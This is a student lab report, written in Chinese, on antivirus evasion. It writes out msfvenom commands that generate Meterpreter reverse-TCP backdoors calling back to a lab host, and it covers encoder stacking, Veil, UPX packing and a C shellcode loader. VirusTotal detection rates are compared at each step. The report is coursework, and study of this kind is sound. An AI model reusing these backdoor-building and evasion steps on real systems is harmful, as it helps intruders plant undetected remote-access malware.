20232412 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
实践目标
-
正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
学会使用veil,加壳工具
使用 C + shellcode编程
-
通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
-
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
通过本次实验,我们将初步认识恶意代码免杀技术,理解现代杀毒软件的检测机制与规避方法,学习正确使用MSF编码器、Veil-Evasion等工具,并结合C语言与Shellcode编程开发自定义免杀程序,组合多层技术实现静态特征混淆,最终用virustotal 对免杀效果进行评价。
问题回答
- 1.杀软是如何检测出恶意代码的?
杀软通过多层次的检测技术识别恶意代码,主要包括这几种核心方法:
(1)基于特征码的检测:比对文件哈希值或代码片段与病毒库中的已知恶意软件特征
(2)启发式恶意软件检测:实时监控系统行为,检测可疑代码模式,推断程序是否有恶意
(3)基于行为的恶意软件检测:触发敏感行为(如修改系统注册表、启动持久化、连接C&C服务器)时告警
(4)沙箱虚拟环境:在隔离环境中运行程序,检测是否有异常行为
(5)云查杀:上传文件哈希或部分特征到云端数据库比对最新威胁情报
- 2.免杀是做什么?
免杀是通过修改恶意代码的特征和行为,使其能够逃避杀毒软件的检测,从而在目标系统中隐蔽执行的技术手段。其核心是通过代码混淆、加密、加壳或利用合法程序加载恶意载荷等方式,绕过静态特征扫描和动态行为分析,实现恶意代码的隐蔽运行。
- 3.免杀的基本方法有哪些?
(1)代码混淆与加密:对恶意代码进行异或、AES等加密,运行时解密执行,使用模糊变换打乱代码逻辑结构
(2)修改特征码与校验和:通过分块测试定位杀软识别的特征码,针对性修改或填充无用指令
(3)花指令:插入无意义的垃圾指令,干扰和欺骗反汇编器、调试器的分析过程,从而保护关键代码逻辑
(4)加壳免杀:将原始的可执行文件进行压缩、加密或变形,然后给它套上一个外层的壳程序,对抗静态特征扫描。运行后壳程序负责将原始程序解密、解压、还原,然后将控制权交还给原始程序
2.实验过程
2.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
在开始实验前,我们需要确立免杀效果参考基准,与之后使用msf编码器,veil,加壳工具,C + shellcode编程等方式生成的文件的免杀效果作比较。这里我们使用之前实验二生成的后门软件的检出率作为参考基准,这是一个Windows 平台的Meterpreter 反向 TCP 后门程序,是 msfvenom 直接生成 meterpreter 可执行文件。
用virustotal对其免杀效果进行评价。VirusTotal 是一个在线病毒扫描平台,用户通过上传可疑文件或提供文件哈希值、URL、IP地址,然后它会用70多家杀毒引擎同时进行扫描,并汇总所有扫描结果告诉你这个文件被多少家厂商报毒。这里显示的检出率为48/71。

接下来,我们输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.109.132 LPORT=2412 -f exe > sgn_backdoor.exe,生成一个经过编码的Windows反向TCP后门可执行文件。
该指令与实验二文件的生成指令相比,多了-e x86/shikata_ga_nai -b '\x00',使用了Shikata Ga Nai多态编码器,对原始shellcode进行加密和变形,通过改变静态特征,避免特征码检测。(-b '\x00'是剔除所有的空字节(0x00),防止在字符串处理、内存拷贝时被截断)
我们将生成的文件上传到 virustotal 进行扫描,显示的检出率为42/71,与刚才相比有一定下降但依旧很高。

我们尝试改变文件格式,输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.109.132 LPORT=2412 -f jar >jar_backdoor.jar,生成一个Java格式的Meterpreter反向TCP后门程序,检测其免杀效果。这里显示的检出率为35/64,检出率继续下降。这是因为终端防护软件可能对非本平台的可执行文件(如在 Windows 上对 .jar 文件)检查不那么严格,所以相比于exe文件,jar免杀潜力更高

我们尝试php文件,输入指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.109.132 LPORT=2412 x >php_backdoor.php,生成一个PHP格式的Meterpreter反向TCP后门脚本,检测其免杀效果。显示的检出率为25/62,检出率继续下降。因为php是文本形态,使得静态特征提取和匹配比二进制文件困难,免杀潜力更强。

2.2使用veil免杀工具、加壳工具
输入sudo apt -y install veil安装veil工具,输入指令usr/share/veil/config/setup.sh --force --silent以静默模式安装和配置 Veil-Evasion 框架。
安装成功后输入veil会显示以下界面。

我们输入use 1进入进入Evasion功能,再输入list查看可用的载荷种类。

输入use 7,选择C/Meterpreter/reverse_tcp 负载,能创建一个C语言编写的 Meterpreter 反向TCP连接器(生成C语言源代码,编译成Windows可执行文件,用于建立反向Meterpreter会话)。

配置好相关参数(IP、端口),生成文件,其保存在/var/lib/veil/output/compiled/目录中。

将该文件复制到主机中进行免杀效果检测,检出率为39/72。相比msfvenom 直接生成 meterpreter 可执行文件,veil生成的文件检出率更低,其原因在于它采用了一套更深层次、多阶段的免杀策略,对整个加载器进行重构和混淆,通过源码级别的多样性和深度的技术集成,实现了比 msfvenom 编码更有效的规避能力。

输入指令upx 20232412lpz_backdoo.exe -o upx_backdoor.exe,使用 UPX 对可执行文件进行加壳压缩,彻底改变了文件的二进制内容,破坏静态特征码,生成一个新的免杀版本。

将该文件进行免杀效果检测,检出率为36/72,进一步降低。

2.3使用C + shellcode编程
使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.109.132 LPORT=2412 -f c,生成一个C 语言格式的Windows Meterpreter 反向TCP Shellcode。

生成的C语言代码不能直接运行,需要被一个加载器来执行,我们利用vim,粘贴生成的代码并增添一个main函数,作为Shellcode 加载器。

使用指令x86_64-w64-mingw32-gcc -o 20232412lpz_c_shellcode.exe 20232412lpz_c_backdoor.c,将C源代码编译成Windows可执行文件。

将该文件进行免杀效果检测,检出率为27/72,相比之前有较好的免杀效果。

2.4通过组合应用各种技术实现恶意代码免杀
考虑到使用C + shellcode编程的免杀效果好,故在此基础上添加-e x86/shikata_ga_nai -b '\x00',使用了Shikata Ga Nai多态编码器,并添加-i 10生成一份编码10次的经过高度编码的C 语言格式的Windows Meterpreter 反向TCP Shellcode。

利用vim,粘贴生成的代码并增添一个main函数,作为Shellcode 加载器。将其编译成可执行文件,进行免杀效果检测,检出率为24/72。

但是该文件还是被腾讯电脑管家查杀,无法实现与杀软共生。与同学交流后,了解到C语言生成的文件很难做到与杀毒软件共生,大量的攻击已生成庞大的特征库。

2.5尝试在杀软开启的情况下,运行文件并回连成功
在kali中输入msfconsole打开msf的控制台,输入参数并开启监听,运行程序后,程序被放到隔离区,发现无法回连成功。(腾讯电脑管家17.10.28554.205+Win 11)

3.问题及解决方案
-
问题1:veil无法正常安装
-
问题1解决方案:发现是校园网连接GIthub有时会出现连接错误,无法正常克隆VeilDependencies 仓库,更换成手机热点后就能成功。
-
问题2:无法实现免杀
-
问题2解决方案:参考不同同学的实验报告,发现按照他们的方法也会被杀毒软件发现木马,说明这与软件和电脑版本有关,需要组合应用各种技术,继续探索更好的免杀方法。
4.学习感悟、思考等
在本次实验中,我使用了多种免杀工具,对免杀原理有了更深刻的理解,通过检出率对比不同技术的优劣。我也意识到组合应用各种技术的优势所在,单一技术容易被现代杀软检测,但组合应用能有效提高免杀成功率。最后我没有成功实现恶意代码与杀软共生,但这也说明人们为保护网络安全作出的努力,我将继续认真学习网络攻防的知识,探索网络攻防的乐趣。

浙公网安备 33010602011771号